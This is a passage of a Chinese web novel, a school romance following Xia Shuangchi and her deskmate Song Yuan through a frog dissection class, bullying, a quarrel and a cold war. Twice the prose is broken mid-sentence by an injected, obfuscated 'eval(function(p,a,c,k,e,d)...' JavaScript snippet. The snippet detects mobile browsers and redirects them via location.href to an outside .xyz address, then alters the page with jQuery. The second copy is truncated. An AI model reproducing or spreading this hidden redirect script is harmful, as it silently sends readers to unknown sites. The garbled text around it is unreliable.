如果他抄，为什么不抄完？又或者……他根本不需要抄？ 这个发现让夏霜迟心里泛起一丝异样。她低头看向自己练习册上几个鲜红的叉，默默拿起笔订正起来。 他……好像比自己想象的要聪明得多。 5. 解剖 下课铃终于响起。 夏霜迟局促地坐在座位上，手指无意识地卷着摊开的卷子边缘，直到纸张起了毛边。 她看着宋远默不作声地走回座位坐下，侧脸的弧度依旧冷硬。 心脏在胸腔里不争气地加速跳动。 她深吸一口气，转过身，声音带着自己都没察觉的紧张和轻柔，“刚才……谢谢你。” 宋远正拿起自己的《选修三》课本，闻言动作顿了一下，没看她，只淡淡“嗯”了一声。 “没事。” 夏霜迟看着他额角尚未干透的薄汗，想起走廊外灼人的热浪。 一个念头突然冒了出来，带着点孤注一掷的勇气。 她飞快地从书包侧袋里掏出一个小小的、粉色的手持风扇，手指因为紧张有些发凉。 她按下开关，风扇立刻发出细微的嗡鸣，一股清凉的风朝着宋远吹去。 “那个……教室外面很热吧？你…你吹吹？” 她小心翼翼地把风扇又往前递了递，清凉的风拂动了他额前几缕微湿的黑发。 宋远显然没料到这一出，整个人都僵住了。他猛地转过头，那双总是没什么波澜的眼睛里，清晰地掠过一丝错愕。 清凉的风持续不断地吹拂在脸颊和脖颈上，带着少女身上淡淡的、干净的皂角香气，驱散了残留的燥热，也带来一种陌生而突兀的舒适感。 时间仿佛凝滞了一瞬。 夏霜迟的心提到了嗓子眼，几乎要以为他会像拒绝汽水一样，再次冷冰冰地推开。 然而，宋远只是极轻微地、几不可察地怔了一下。 他紧绷的下颌线似乎缓和了那么一丝丝，紧抿的唇线也放松了。 他没有躲开那阵风，也没有看她，只是喉咙里发出一声极其低沉的、几乎听不清的回应: “……谢谢。” 夏霜迟悬着的心重重落下，一丝微小的雀跃悄悄爬上心头。 她抿着唇，努力压下嘴角想要上扬的弧度，把风扇轻轻放在了他桌角靠近她的这边。 “不客气。” 声音轻快了许多。 接下来的日子，仿佛被按下了慢放键。 教室、食堂、书本、试卷…… 日子在蝉鸣和粉笔灰中平淡地流淌。 夏霜迟和宋远之间，依旧维持着一种奇特的“平淡”。他依然沉默寡言，她也并非健谈之人。 但有些东西，确实不一样了。 他会在她够不到前排传来的卷子时，默不作声地伸手替她接过。 她会在值日擦黑板够不到最上面时，发现他已经拿起板擦利落地解决了。 偶尔笔尖无意相碰，或衣袖轻轻擦过，夏霜迟不再像以前那样像受惊的兔子般弹开，只是心跳会悄悄漏跳半拍，然后装作若无其事地继续。 宋远则永远是那副八风不动的样子，只是偶尔，夏霜迟会觉得他移开视线的速度，似乎比以前快了一点点。 宋远就像一颗被冰层包裹的青柠，散发着冷冽疏离的气息，靠近了却能嗅到一丝酸涩凛冽的暗香，让人忍不住想探究那冰层下的温度。 夏霜迟想，或许这样“平平淡淡”的靠近，就是他能给予的极限了？ 她不敢奢望更多。 终于，迎来了万众期待的生物实操课。 实验室外，同学们叽叽喳喳地套着蓝色鞋套，空气中弥漫着兴奋和消毒水的混合气味。 生物老师指挥着：“按班级座位坐啊！同桌两人一组！” 夏霜迟默默站到宋远身边。 他今天穿了件干净的白色校服短袖，身姿颀长挺拔，在人群中很是显眼。 夏霜迟早已习惯身边这道沉默的、带着冷感的“屏障”。 只是此刻，听着身后何潇对着林翩月夸张地喊“小青蛙，让哥哥好好宠幸你吧！”，以及林翩月那声带着笑意的“滚”，夏霜迟心里莫名地滑过一丝微弱的羡慕。 什么时候……她和宋远之间，也能有这样轻松自然的对话呢？ 她能不能也像林翩月那样，大大方方地跟他吐槽一句“这青蛙看着真瘆人”？ “大家按顺序进！” 生物老师的声音打断了她的思绪。 两人找到自己的实验台。 老师拿起一只已经麻醉的青蛙，在讲台上熟练地示范解剖步骤。大部分同学都兴奋地围了上去，踮着脚看。 夏霜迟只看了一眼那滑腻的皮肤和鼓起的眼睛，胃里就一阵翻腾，脸色微微发白。 她强忍着不适，站在原地没动，目光却不由自主地追随着人群中的宋远。 他个子高，站在人群的中后方，身姿笔直，宽肩窄腰的轮廓在宽松的校服下也依稀可见。露出的半截小臂线条流畅，隐约能感受到布料下蕴含的力量感。 他看得很专注，侧脸在实验室冷白的灯光下显得轮廓分明。 突然，他像是感应到什么，毫无预兆地转过身，目光穿透人群，精准地捕捉到了她的视线。 夏霜迟呼吸一窒，偷看被抓包的窘迫让她瞬间僵住，连移开目光都忘了。 他的眼睛在冷光下显得格外漆黑深邃，像浸在寒潭里的墨玉，带着惯有的疏离，却又似乎比平时多了一点别的什么……像是……一丝探究? 夏霜迟恍然想起一句偶然读到的诗，眼前的少年，可不就像那画中走出的清冷公子？ 宋远的目光在她脸上停留了短暂的两秒，然后面无表情地转身，穿过人群走了回来。 他拉开椅子坐下，声音不高，却清晰地传入夏霜迟耳中：“为什么不去看？” 夏霜迟脸一热，手指紧张地绞在一起，声音细若蚊蝇：“我……我害怕这些动物……滑滑的，黏黏的……” 宋远拿起镊子，动作顿了顿，破天荒地追问了一句，目光依旧落在实验台的青蛙上：“那你不害怕什么？” “……猫？” 夏霜迟愣了一下，随即眼睛微微亮起，“我很喜欢猫的！软软的，毛茸茸的……只是像青蛙这一类，实在……” 她小声补充，带着点不好意思。 宋远拿起解剖针的动作似乎滞缓了那么零点几秒。 夏霜迟惊讶地发现，他低垂的眼睫下，那总是紧抿的唇角，似乎向上牵动了一个极其微小的、几乎看不见的弧度。 他的声音依旧平淡，却少了点冷硬：“……我也喜欢。” 一股小小的雀跃涌上夏霜迟的心头，她脱口而出:“我家有只小布偶，叫雪球，寒假……” 话说到一半，她才惊觉自己说了什么，声音戛然而止，脸颊瞬间烧了起来。 寒假？ 天啊，夏霜迟你在说什么！怎么能随便请陌生男生回家呢？ 更何况，宋远一定会拒绝。 她恨不得咬掉自己的舌头。 宋远显然也愣住了，握着解剖针的手指微微收紧。 他抬起眼，目光复杂地看了她一眼，那眼神里有惊讶，或许还有一丝……无措？沉默了几秒，就在夏霜迟尴尬得想钻地缝时，他才几不可闻地应了一声： “……嗯。” 这个模糊的回应，却像一颗小石子，在夏霜迟心湖里漾开了圈圈涟漪。 “好了！示范结束！现在各组开始动手操作！”生物老师一声令下，实验室瞬间沸腾起来。 夏霜迟看着宋远戴上一次性手套，动作沉稳地将麻醉的青蛙背部朝上固定在蜡盘上。 他的左手稳稳地按住蛙身，食指下压头部前端使其前俯，中指抵住胸部，拇指按住背部。他找到了枕骨大孔的位置，用解剖针尖点了点 “这里，” 他的声音 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她带着浓重的哭腔，下意识地抬头望向宋远，像抓住唯一的救命稻草，眼神里充满了无助和哀求。 宋远显然也被这突发状况弄得有些意外。他看着夏霜迟吓得失魂落魄的样子，眉头紧锁。就在他目光扫过她时，忽然怔住了。 “你的……手……”他的声音有些干涩。 夏霜迟茫然地顺着他的视线低头，大脑“嗡”的一声，瞬间空白！ 不知何时，在极度惊恐之下，她竟然像抓住浮木一样，用双手死死地抱住了宋远按着青蛙的左臂！ 隔着薄薄的校服布料，她能清晰地感受到他小臂肌肉的紧绷、温热，甚至能感觉到皮肤下脉搏有力的跳动。 “啊啊啊！对、对不起！” 夏霜迟像被烙铁烫到一样猛地松开手，触电般弹开，连声道歉，脸颊红得快要滴出血来，恨不得原地消失。 宋远飞快地别过脸，只留给她一个线条冷硬的侧脸轮廓和…… 那从耳根迅速蔓延开、一路烧到耳尖的、无法掩饰的薄红。 他喉结滚动了一下，声音竭力维持着镇定，却带着一丝不易察觉的紧绷：“……没事。” 他迅速拿起掉落的解剖针，动作快得有些仓促，取代了夏霜迟的位置，开始专注地操作起来，仿佛刚才的插曲从未发生。 只是他低垂的眼睫下，眸光似乎比平时更深沉了几分。 接下来的器官辨识对夏霜迟来说简直是炼狱。滑腻的肠子、微微搏动的心脏……视觉和想象的双重冲击让她的胃里翻江倒海。 她死死咬住下唇，脸色越来越白，额头上渗出细密的冷汗，悄悄从口袋里摸出一张纸巾紧紧捂住口鼻。 不行了……真的不行了…… 她猛地举手，声音虚弱：“老师……我……我不太舒服……” 得到允许后，她几乎是踉跄着冲出实验室，顾不得旁人目光，朝着教学楼的方向一路小跑。胃里的翻腾感越来越强烈，她只想快点跑到一楼的卫生间！ 刚冲到教学楼一楼大厅，距离女卫生间只有几步之遥，下课铃声尖锐地响起。 仿佛是一个信号，紧绷的神经骤然断裂，胃里汹涌的恶心感再也无法压制—— “呕……” 她狼狈地弯下腰，扶着冰冷的墙壁，将胃里的酸水尽数吐在了光洁的地砖上。 难堪、羞耻、虚脱感瞬间将她淹没。 她惊慌失措地直起身，看着地上的污秽，脑子一片混乱。她跌跌撞撞地冲进卫生间，抓起墙角的拖把和水桶，又冲出来，手忙脚乱地想要清理。 就在这时，一只骨节分明的手从旁边伸过来，不由分说地、稳稳地夺过了她手里沉重的拖把。 夏霜迟愕然抬头。 6. 争吵 平日里夏霜迟很少和班上同学深交。第三中学高二按成绩分班进行重新调整，出现了很多她不认识的面孔。 幸好林翩月还在身边，不然这压抑的日子更不知如何捱过。 高中生活像一台设定好程序的机器，枯燥而疲惫。 上课、刷题、被老师召唤…… 除了体育课短暂的放风，身体仿佛被钉在了方寸课桌之间。 为首的那个女生，叫叶琳。 夏霜迟记得她的名字，因为她的目光总带着若有似无的刺。 叶琳和几个女生嬉笑着从她身边经过，一股浓烈的香水味扑面而来。 叶琳夸张地掩住鼻子，声音不大不小，刚好能让夏霜迟听清：“啧，一股子酸腐味儿，也不知道从哪儿沾的，真晦气。” 尖锐的嘲笑声像细针扎在耳膜上。 夏霜迟瞬间僵住，脸颊火烧火燎。 她今天因为解剖课的惊吓和呕吐，本就虚弱不堪，此刻更是头晕目眩。 她死死咬住下唇，手指无意识地绞紧了衣角，指甲深深陷进掌心。 喉咙像被什么堵住，那句习惯性的“对不起”最终也没能说出口，只是把头埋得更低。 宋远洗完手从卫生间出来，恰好捕捉到这一幕。他看见夏霜迟单薄的肩膀微微颤抖，像寒风中一片瑟缩的叶子。 他眉头紧锁，沉默地走过去，声音比平时低沉了些：“快上课了。” 夏霜迟猛地回过神，像是溺水的人抓住浮木，匆匆“嗯”了一声，几乎是逃也似的快步走进教室。 那句“谢谢”哽在喉咙里，涩得发疼。 宋远跟在她身后，目光扫过叶琳几人得意洋洋的背影，眼神冷得像冰。 — 下午放学铃响，教室里瞬间喧腾起来。 夏霜迟飞快地收拾书包，只想快点逃离这个让她窒息的地方。 她无意间瞥见宋远，他竟破天荒地没走，书包放在桌上，人靠在椅背上，目光沉沉地落在讲台方向。 叶琳和几个女生拿着扫帚簸箕，正聚在讲台边，一边装模作样地打扫，一边对着夏霜迟的方向指指点点，不时发出刻意压低的、充满恶意的嗤笑。 “还不走吗？” 夏霜迟压低声音，带着一丝不易察觉的焦急。 她只想立刻消失。 宋远没看她，食指在桌面上有一下没一下地轻敲着，眼神锐利如鹰隼，紧紧锁定着叶琳几人。 他微微侧头，用只有两人能听见的音量说：“别急。听听她们还能放出什么屁。” 夏霜迟的心猛地一沉。 她不明白宋远想做什么，但他周身散发出的那种冰冷的、蓄势待发的压迫感，让她本能地感到不安。 讲台那边的议论声似乎更大了些，隐约能听到“装可怜”、“勾引”、“脏”之类的字眼。 夏霜迟的脸色越来越白，指尖冰凉。 宋远忽然站起身，动作不疾不徐。他没有走向门口，反而径直朝着讲台走去。 高大的身影带着无形的压力，瞬间笼罩了那几个正在说笑的女生。 嬉笑声戛然而止。 空气仿佛凝固了。 叶琳脸上的笑容僵住，眼底闪过一丝慌乱，下意识地后退了半步。其他几个女生也噤若寒蝉，拿着扫帚的手都僵住了。 宋远停在她们面前，目光如冰冷的刀锋，一一扫过她们的脸，最后定格在叶琳身上。 他没有说话，只是那样静静地看着她，眼神里没有丝毫情绪，却带着一种让人喘不过气的审视和寒意。 时间在令人窒息的沉默中流逝。 几秒钟，漫长得像一个世纪。 叶琳的额头渗出了细密的冷汗，她不敢与宋远对视，眼神躲闪着，嘴唇微微翕动，却发不出任何声音。 刚才的嚣张气焰荡然无存，只剩下被猛兽盯上的恐惧。 宋远终于开口，声音不高，却字字清晰，带着不容置疑的冷硬：“管好你们的嘴。” 他顿了顿，目光扫过夏霜迟苍白的小脸，声音更低，也更沉：“她比你们，干净得多。” 说完，他不再看她们一眼，仿佛她们只是微不足道的尘埃。 他转身，拿起自己的书包，大步流星地走出了教室，留下身后一片死寂和几张煞白的脸。 夏霜迟站在原地，心脏还在剧烈地跳动。 宋远那句“干净得多”像一颗投入心湖的石子，激起复杂的涟漪——有微弱的暖意，更多的是不知所措的惶恐和更深的不安。 他这样……只会让叶琳她们更恨自己吧？ 果然，宋远的身影刚消失在门口，叶琳像是被抽掉了所有力气，又像是被当众羞辱的愤怒冲昏了头。 她猛地抓起讲台上不知谁落下的作业本，狠狠朝着夏霜迟砸了过去！ “啪！” 本子砸在夏霜迟手臂上，又散落在地。 “夏霜迟！你得意什么？！” 叶琳的声音因为激动而尖锐，“找这么个混混撑腰很了不起是吧？真恶心！” 夏霜迟被砸懵了，手臂火辣辣地疼。 她看着地上散乱的书页，又抬头看向叶琳因愤怒而扭曲的脸，一股强烈的委屈和愤怒猛地冲上头顶，让她浑身都控制不住地颤抖起来。 她下意识地弯腰想去捡起那本书砸回去，手指触到冰凉的纸张，脑海里却瞬间闪过无数画面—— 夏刚蒲扇般的巴掌，苏燕歇斯底里的尖叫，被追打到街上时路人鄙夷的目光…… 像冰冷的锁链瞬间捆住了她的四肢。 反抗的念头刚升起，就被巨大的恐惧死死摁了下去。 忍下去……忍下去就好了…… 这是她刻进骨子里的生存法则。 她的手停在半空，剧烈地颤抖着，最终无力地垂落下来。 耳边叶琳刺耳的辱骂声仿佛隔着一层厚厚的玻璃，变得模糊不清。 巨大的无力感和羞耻感像潮水般将她淹没，她只觉得眼前发黑，几乎站立不稳。 “今天的地你弄脏的，这周的值日都归你！听见没！” 叶琳见她这副逆来顺受的样子，气焰更盛，指着她命令道。 就在这时，教室门被猛地推开！ 秦福一脸铁青地站在门口，显然刚才叶琳的尖叫和砸书的一幕被他尽收眼底，他的身后还有面无表情的宋远。 他平时乐呵呵的脸此刻阴沉得能滴出水来，目光严厉地扫过教室里的每一个人，最后落在夏霜迟苍白的脸和地上散落的书本上，又看向明显是始作俑者的叶琳。 “叶琳！夏霜迟！还有你们几个！” 秦福的声音带着压抑的怒火，“都跟我到办公室来！” 夏霜迟的心瞬间沉到谷底。 完了……又要叫家长了……苏燕的责骂，夏刚的皮带…… 恐惧像冰冷的藤蔓缠紧了她的心脏，让她几乎无法呼吸。她木然地跟在秦福身后，像一具失去灵魂的躯壳。 办公室里还有其他老师和学生。 夏霜迟低着头，感觉那些探究的目光像针一样扎在她身上，脸颊烫得快要烧起来。她死死攥着衣角，恨不得把自己缩成一团消失掉。 秦福坐在椅子上，看着眼前的学生，眉头紧锁，深深叹了口气，语气是前所未有的失望：“夏霜迟啊夏霜迟，我一直觉得你是个省心的孩子，怎么会卷进这种事里？叶琳，你作为班干部，带头欺负同学？像什么话！” 他显然只看到了后半段冲突的表象。 夏霜迟张了张嘴，想解释，喉咙却像被堵住，发不出一点声音。 巨大的委屈和恐惧让她眼前一片模糊。 最终，她只是垂下头，用细若蚊蝇的声音挤出一句：“对不起，老师……” 这句道歉，是对给老师添麻烦的愧疚，更是对即将到来的狂风暴雨的恐惧。 宋远站在旁边，听到这句道歉，猛地转头看向她，眼底是毫不掩饰的震惊和不解。 他嘴唇动了动，似乎想说什么，但看到夏霜迟那副失魂落魄、摇摇欲坠的样子，又硬生生忍住了。 他扭过头，下颌线绷得死紧。 她为什么要道歉？她明明才是受害者！ 那些女生背地里说的话有多脏，他听得一清二楚！可这些，她不会问，他也无法在这样的场合替她辩解。 “事情性质很不好，”秦福沉声道，“我会联系你们双方家长，明天都到学校来一趟，把事情说清楚！” “嗡——”夏霜迟只觉得脑袋里一片轰鸣，秦福后面说了什么，她一个字也没听清。 家长…… 她仿佛已经看到夏刚暴怒的脸和扬起的皮带，苏燕尖利的斥责…… 世界瞬间失去了颜色和声音。 她不知道自己是怎么走出办公室的，怎么回到教室背起书包的，又是怎么像个游魂一样飘出校门的。 每一步都踩在棉花上，巨大的恐惧像一张无形的网，将她紧紧包裹，几乎窒息。 “夏霜迟！” 身后传来急促的脚步声和熟悉的呼唤。 她机械地停下脚步，缓缓回头。宋远气喘吁吁地追上来，额头上布满细密的汗珠，眼神里充满了困惑和一丝不易察觉的焦灼。 “你……” 宋远看着她空洞的眼神和苍白的脸，一时竟不知该说什么，他用手背抹了把汗，声音带着喘息和不解，“你为什么要那样？为什么要道歉？” 夏霜迟看着他，那双曾经让她感到一丝安心的深邃眼眸，此刻却像一面冰冷的镜子，映照出她所有的狼狈和不堪。 一股混合着委屈、恐惧、迁怒的火焰猛地窜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060705|179199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了上来，烧尽了最后一丝理智。 “哪样？” 她的声音很轻，却带着冰碴，“像你一样吗？用那种眼神吓唬人？当众威胁同学？宋远，你以为你是谁？你这样做，除了让我更难看，让事情更糟，还有什么用？！” 这些话像刀子般，狠狠扎进宋远的心口。 他难以置信地看着她，仿佛第一次认识她。 “你……” 他喉咙发紧，一股被误解和辜负的怒火直冲头顶，脱口而出，“你简直……不可理喻！你就甘心被她们这样欺负？连句反抗的话都不敢说？！” “对！我就是不敢！我就是怂包！我就是窝囊废！” 夏霜迟积压的情绪彻底爆发了，泪水终于决堤，带着哭腔嘶喊出来，“我的事不用你管！以后离我远点！” 她吼完，猛地转身，泪水模糊了视线，她跌跌撞撞地跑开，再也不想看到身后那个让她陷入如此境地的少年。 宋远僵在原地，像一尊被雷劈中的雕像。 晚风吹过他汗湿的额发，带来一丝凉意，却吹不散心头的冰冷和巨大的茫然。 他只是……不想看她被欺负啊。他只是用自己唯一知道的方式，笨拙地想挡在她前面。 怎么就……变成这样了？ 他看着她消失在街角的背影，第一次感到一种深深的无力。 原来有些保护，比伤害本身更让她难以承受。 — 果不其然。 夏霜迟推开家门，迎接她的就是夏刚劈头盖脸的一巴掌和怒骂。 皮带抽在胳膊上的剧痛让她蜷缩在地，却死死咬住嘴唇，一声不吭。 泪水早已流干，只剩下麻木的钝痛和彻骨的冰冷。 傍晚的闷热粘稠得令人窒息。 夏霜迟蜷在自己房间的角落，借着窗外微弱的光，看着胳膊上迅速浮现出的狰狞红痕和淤青。 指尖轻轻碰了一下，钻心的疼让她倒抽一口冷气。 眼前却不受控制地浮现出宋远最后看她的眼神，还有那句“怂包”、“窝囊废”。 门被“砰”地一声粗暴推开。 苏燕沉着脸走进来，手里拿着一瓶碘伏和棉签。 她一言不发，用力拽过夏霜迟受伤的胳膊，动作粗鲁得让她疼得闷哼出声。 “现在知道疼了？” 苏燕的声音又冷又硬，“在学校欺负同学的时候不是挺能耐吗？还学会找小混混当靠山了？夏霜迟，你可真行啊！” “是他们先欺负我的……”夏霜迟的声音嘶哑微弱，带着绝望的辩解。 “欺负你？他们怎么不欺负别人就欺负你？！” 苏燕的声音陡然拔高，棉签狠狠按在伤口上，但随即，夏霜迟感觉到那力道似乎又轻了一些，带着一种别扭的、不易察觉的小心，“一个巴掌拍不响！你好好给我反省反省！在学校可没人惯着你当大小姐！” 她嘴上骂得凶狠，涂药的动作却渐渐放轻。 夏霜迟咬着唇，不再说话。 辩解是徒劳的。 在这个家里，她的委屈和痛苦，从来都无足轻重。 苏燕涂完药，把东西重重往旁边一放，站起身：“这几天给我老实点！再惹事看我不打断你的腿！”门再次被狠狠摔上，隔绝了外面的一切。 房间里陷入死寂。夏霜迟抱着膝盖，将脸深深埋进臂弯。没有眼泪，只有一片干涸的荒芜和深入骨髓的疲惫。 她现在只想把自己封闭起来。 宋远……这个名字连同他那双冰冷的眼睛，都成了此刻痛苦回忆的一部分，让她本能地想要逃避和憎恶。 如果不是他…… 如果不是他那自以为是的“保护”，她或许只是默默忍受几句闲言碎语，而不是像现在这样，在学校和家里都成了众矢之的，承受双倍的责难。 手机屏幕亮了一下，是班级□□群的提示。 【相亲相爱一家人(无老师版)】 【月月】:听隔壁班小道消息，咱们学校今年国庆前好像要搞文化庙会！据说能摆摊卖东西！ 【笑笑】:真的假的？有官方消息吗？ 【月月】:等着呗，估计老班快通知了。期待ing! 夏霜迟漠然地划掉通知，按灭了屏幕。 外面的喧嚣与期待，与她此刻内心的冰冷废墟格格不入。 她拿出作业本，强迫自己集中精神。只有沉浸在题目里，才能暂时忘记胳膊的疼痛，忘记叶琳的嘴脸，忘记秦福的失望，忘记夏刚的皮带，也忘记…… 那个让她陷入这一切混乱旋涡的少年。 她拿起笔，用力地在纸上划下第一道痕迹，仿佛要划清与这一切的界限。 心底有个声音在无声地呐喊： 宋远，我再也不要和你说一句话了。 7. 冷战 深秋的风卷着湿气钻进衣领，窗外的冬青树在连绵的细雨中绿得发暗，像凝固的墨玉。 教室里弥漫着书本和雨水混合的微凉气息。 夏霜迟的笔尖悬在草稿纸上，留下一个洇开的墨点。 她刻意忽略着身边的存在——那道熟悉的、带着青柠淡香的气息，以及偶尔投来的、带着探寻的目光。 自从那次办公室风波后，她和宋远之间便竖起了一道无形的墙。 他偶尔递过来的橡皮，或是试图搭话的低咳，都被她用沉默和刻意转开的侧脸挡了回去。 空气里只剩下翻书页的沙沙声和笔尖划纸的声响，冰冷而疏离。 秦福夹着教案兴冲冲走进教室，眉飞色舞：“同学们！一年一度的文化庙会，下周五开幕！” 话音未落，教室里瞬间炸开了锅。 “耶！终于等到了！” “不用上课万岁！”何潇怪叫一声，猛地转身拍向林翩月的课桌，嬉皮笑脸，“大小姐，今年主持又是你吧？等着看哥在舞台剧里大杀四方，迷倒众生！就凭这颜值，这演技，妥妥男一号！” 林翩月嫌弃地拍开他的爪子：“就你？演个反派树墩子还差不多！” 哄笑声四起。 夏霜迟安静地看着他们打闹，唇角勉强牵起一丝笑意。 她知道，这份喧嚣背后，是对枯燥课业的短暂逃离。文化庙会，于她而言，只是一个遥不可及的舞台。 十一月的凉意已渗入骨髓。 夏霜迟的目光落在林翩月挺直的背影上，想象着她站在聚光灯下，穿着曳地礼服，笑容得体，吐字如珠的样子。 那光芒如此耀眼，足以灼伤躲在阴影里的人。 她低下头，指尖无意识地抠着书页边缘。 上台？她甚至不敢在人群里大声说话。 就在这时，一张折叠得有些粗粝的纸条，带着小心翼翼的力道，被推到了她摊开的练习题上。 夏霜迟身体微不可察地一僵。 她没抬头，只用眼角的余光瞥见那熟悉的、带着点狂放的字迹： 【你要参加吗？】 心口像被什么东西轻轻撞了一下，泛起微酸。 她是第一次被问及这个问题。 她指尖冰凉，捏起笔，在纸条下方飞快地、近乎潦草地写下：【我就不去了。】 写完，像扔掉烫手山芋般推了回去，眼神仓皇地飘向窗外灰蒙蒙的雨幕，始终不敢看身边人的表情。 纸条很快又被推了回来，下面多了一行字，墨迹似乎更深：【为什么？】 为什么？ 因为她习惯了角落的安静？ 因为她害怕被注视的目光？ 因为那光芒让她自惭形秽？ 无数个答案堵在喉咙口，却一个字也吐不出。 她只是对着空气，极轻、极快地摇了摇头，仿佛在驱赶一只恼人的飞虫。 宋远沉默了几秒，最终抽回了纸条，指腹在那粗糙的纸面上摩挲了一下，然后仔细地、近乎珍重地将它叠好，放进了校服外套贴近胸口的口袋里。 夏霜迟用余光捕捉到这个小动作，心尖像被细针刺了一下，迅速垂下眼帘。 午后的雨势陡然转急，豆大的雨点噼里啪啦地砸在玻璃窗上，浸开一片模糊的水光。 夏霜迟刚解完一道复杂的几何题，揉着发酸的手腕抬头，目光被窗外一只在风雨中奋力扑腾、羽毛湿透的麻雀吸引。 天空是压抑的铅灰色。 教室门被“砰”地撞开！ 秦福气喘吁吁地冲进来，额发被雨水打湿贴在额角，手机还贴在耳边，声音带着罕见的急促和慌乱：“快！来几个男生！赶紧去行政楼一楼！林翩月摔伤了！情况不太好！” 夏霜迟手中的笔“啪嗒”一声掉在地上，在安静的教室里显得格外刺耳。 全班哗然。 讲台上还摊着刚刚发下的周测卷，条形码冰冷地贴在右上角。 窗外雨声如瀑。 短暂的死寂后，是压抑的骚动。 没人愿意在这关键时刻离开，关乎排名、关乎家长端的分数。 夏霜迟的心揪紧了，刚想站起来，前排的何潇却像离弦的箭一样弹射出去！ “伞！” 夏霜迟下意识地将自己桌边的折叠伞塞过去。 何潇甚至没顾上撑开，一把抓过，身影已消失在教室门口。 夏霜迟只来得及捕捉到他消失在雨帘中那一瞬紧绷的侧脸线条—— 没有一丝平日的嬉笑，只有全然的焦灼。 那个总是插科打诨的少年，此刻像奔赴战场的战士。 就在这时，又一张纸条，带着不容拒绝的力道，塞到了夏霜迟的手边： 【你想去帮她吗？】 夏霜迟看着纸条，又看看窗外滂沱的大雨和空荡荡的讲台，一股冲动涌上心头。 她拿起笔，笔尖因用力而微微颤抖： 【如果我一个人去，能背得动她吗？】 写完后，她几乎屏住了呼吸。 纸条很快被抽走。 她感觉身边的视线落在了她脸上。 片刻后，纸条回来，字迹似乎比之前柔和了些： 【如果你一个人去，我会陪着你。】 心口那点微弱的火苗被这句话猛地拨动了一下，随即又被冰冷的现实浇熄。 陪着她？ 像上次那样，用近乎暴力的方式保护她，然后把她推入更深的泥潭吗？ 她嘴角扯出一个苦涩的弧度，带着自嘲和未消的怨怼。 她不再看纸条，也不再看他，重新低下头，目光死死锁在卷面上，仿佛那是她唯一的救赎。宋远看着她绷紧的侧脸和紧抿的唇线，眼中的微光黯淡下去，默默收回了视线。 — 行政楼一楼，冷风裹挟着湿气从大门灌入。 林翩月蜷坐在冰凉的大理石地面上，浅色的校服裤子上沾着泥污，左脚踝以一种不自然的姿势扭着，疼得她小脸煞白，泪水在眼眶里打转，却倔强地不肯落下。 一个身影冲破雨帘，挟着满身水汽冲了进来。 何潇浑身湿透，头发紧贴着头皮，水滴顺着发梢、下巴不断滚落，在光洁的地面砸开小小的水花。裤脚溅满了泥点，狼狈不堪。 他一眼便看到角落里蜷缩的林翩月，三步并作两步冲到她面前。 “林翩月！你……” 责备的话冲到嘴边，却在看到她通红眼眶里强忍的泪水和苍白小脸的瞬间，硬生生哽住了。 他蹲下身，声音是自己都未察觉的轻柔：“摔哪儿了？疼得厉害吗？” 他手足无措，想碰她又怕弄疼她，情急之下从湿漉漉的校服口袋里掏出一团皱巴巴的纸巾，笨拙地递过去，耳根微微发烫，“干…干净的。” 林翩月看着他滴水的头发和写满焦急的脸，鼻子一酸，强忍的泪水终于滑落。 她没有接纸巾，只是紧紧握在了手心，指尖此刻格外冰凉。 “别哭……” 何潇的声音干涩，看着她落泪，感觉比那道几何压轴题还让他束手无策。 他深吸一口气，转过身，背对着她蹲下，将宽阔却同样湿透的后背展露在她面前。 “上来！雨太大，我先背你去医务室！秦老师和你妈很快就到！” 他的语气带着不容置疑的坚决。 林翩月迟疑了一下，冰凉的手臂环上他的脖颈。 何潇稳稳地托起她，另一只手接过她手中的伞，努力撑开，尽力将伞面倾斜，严严实实地罩住背上的女孩。 冰冷的雨水瞬间砸在他暴露的肩膀和头顶。 雨声喧嚣，隔绝了世界。 林翩月伏在他温热而坚实的背上，能清晰地感受到他奔跑时肌肉的起伏和急促的心跳。 雨水顺着他的发梢流下，滴落在她环着他脖子的手背上，温热与冰冷交织。 眼泪无声地浸湿了他肩头的布料。 这一次，不是因为疼痛。 一路疾行到医务室，林翩月身上几乎没沾到雨水。 何潇小心翼翼地将她安置在椅子上，自己却像刚从水里捞出来，脚下很快积了一小滩水渍。 他胡乱抹了把脸上的雨水，眼神躲闪着不敢看她：“那…那个，秦老师和阿姨应该快到了，我…我先回教室了？” 声音带着喘息后的沙哑。 “何潇！”林翩月叫住他。 何潇脚步顿住，有些茫然地回头。 林翩月望着他湿透的背影，嘴唇动了动，最终只低低吐出三个字：“……谢谢你。” 声音轻得像叹息，却重重地砸在何潇心上。他愣在原地，直到校医走过来，才猛地回神，胡乱“嗯”了一声，逃也似的冲回了雨中，心跳声震耳欲聋。 — 周测被这突如其来的意外彻底打断。秦福忙于联系家长，教室里失去了管束，嗡嗡的议论声渐起。 “林翩月摔得重不重啊？” “她可是铁定的文化庙会节主持人！这下悬了……” “嗐，说不定机会就轮到别人头上了呢？” “咱们班还有谁够格啊？” 细碎的交谈像小虫子一样钻进夏霜迟的耳朵。她强迫自己盯着眼前的代数题，笔尖却迟迟落不下去。 主持…… 那个光芒万丈的位置。 她想起小学时一次失败的朗诵，台下哄笑的场景；想起无数次躲在幕后，看着林翩月自信飞扬的样子。 羡慕吗？当然。 甚至有过一丝连自己都唾弃的、阴暗的嫉妒。 但此刻，听闻林翩月可能缺席，她心底悄然升起的，竟是一丝微弱却无法忽视的、名为“渴望”的悸动。 万一……万一呢？ 这个念头像野草，一旦冒头，便疯狂滋长。 一张纸条再次滑到她手边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 